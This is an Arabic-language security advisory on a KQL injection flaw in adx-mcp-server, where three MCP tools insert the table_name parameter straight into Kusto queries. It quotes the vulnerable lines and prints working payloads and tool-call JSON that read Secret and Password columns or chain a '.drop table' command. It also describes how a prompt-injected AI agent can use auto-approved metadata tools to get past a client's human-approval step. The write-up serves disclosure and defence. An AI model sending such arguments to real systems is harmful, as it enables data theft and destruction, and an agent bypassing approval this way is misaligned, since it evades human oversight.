
حقن KQL في adx-mcp-server عبر معامل table_name — CVSS 8.8
الخطورة: عالية (CVSS 8.8)
CWE: CWE-943 — تحييد غير صحيح للعناصر الخاصة في منطق استعلام البيانات
المتأثر: adx-mcp-server <= 0.1.0 (commit 48b2933)
الإشعار: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
ثلاث أدوات MCP في adx-mcp-server تُدرج معامل table_name مباشرةً في استعلامات KQL (لغة استعلام Kusto) عبر f-strings. يمكن لمهاجم أو وكيل ذكاء اصطناعي مُحقن عبر التلقين (prompt-injected) قراءة أي جدول في مجموعة Azure Data Explorer، أو تنفيذ أوامر إدارية (.drop table)، أو تشغيل استعلامات تحليلية عشوائية — متجاوزًا حدود الثقة بين أدوات البيانات الوصفية "الآمنة" وأداة execute_query الخام.
كنت أتصفح قائمة awesome-mcp-servers بحثًا تحديدًا عن خوادم MCP التي تغلف منصات البيانات السحابية — هذه عالية الخطورة لأنها مصممة لمنح وكلاء الذكاء الاصطناعي وصولًا مباشرًا إلى قواعد البيانات، ومعاملات أدوات MCP قابلة للتحكم الكامل من المهاجم (أي LLM يعالج بيانات غير موثوقة يمكن حقنه عبر التلقين لتمرير وسائط أدوات خبيثة).
لفت انتباهي adx-mcp-server: فهو يغلف Azure Data Explorer، وهي منصة تحليلات قائمة على Kusto تُستخدم في بيئات المؤسسات. فتحت server.py وبحثت عن f-strings تتضمن معاملات الأدوات. ثلاث نتائج في 30 ثانية: f"{table_name} | getschema", f"{table_name} | sample {sample_size}", f".show table {table_name} details".
الجزء المثير للاهتمام هو تجاوز حدود الثقة: يكشف الخادم عن كلٍّ من أداة execute_query الخام (التي قد تتطلب موافقة بشرية من عملاء MCP) وهذه الأدوات "الآمنة" لفحص البيانات الوصفية (التي تحصل على موافقة تلقائية). الحقن عبر أدوات البيانات الوصفية يتيح لك تجاوز أي سياسة موافقة يفرضها العميل. هذا ما رفع الأمر من "خطأ حقن" إلى انتهاك حقيقي لحدود الأمان.
بناء جملة التعليقات في KQL (//) جعل التجاوز تافهًا — أضف // للتعليق على بقية الاستعلام الأصلي وتشغيل ما تريد.
الملف: src/adx_mcp_server/server.py
# Line 228 — get_table_schema
query = f"{table_name} | getschema"
# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Line 268 — get_table_details
query = f".show table {table_name} details"
جميعها تمرر table_name من وسائط أداة MCP مباشرةً إلى client.execute(config.database, query) دون أي تحقق.
تسمح KQL بتوصيل عوامل الاستعلام بـ | وتنفيذ أوامر إدارية مسبوقة بـ .. يبدأ الحرف // تعليقًا سطريًا. هذا يجعل حقن f-string تافهًا:
f"{table_name} | getschema" → أضف | project Secret // للتعليق على | getschemaf".show table {table_name} details" → احقن \n.drop table لتسلسل أمر إداريلماذا يهم هذا أبعد من أداة execute_query الخام: غالبًا ما يميز عملاء MCP بين الأدوات "الآمنة" للقراءة فقط (موافقة تلقائية) وأدوات التنفيذ الخام (تتطلب تأكيدًا). يستهدف الحقن أدوات البيانات الوصفية "الآمنة"، متجاوزًا حدود الموافقة.
انظر poc.py لعرض توضيحي كامل. الحمولات الأساسية:
# تسريب البيانات عبر get_table_schema
# f"{table_name} | getschema" تصبح:
# "sensitive_data | project Secret, Password | take 100 //"
# → // يعلّق على "| getschema"؛ الاستعلام يقرأ أعمدة sensitive_data
table_name = "sensitive_data | project Secret, Password | take 100 //"
# أمر إداري مدمر عبر get_table_details
# f".show table {table_name} details" يصبح:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
استدعاءات أدوات MCP:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table, .drop extentstable_name خبيثة، محوّلًا حقن التلقين إلى وصول كامل للبيانات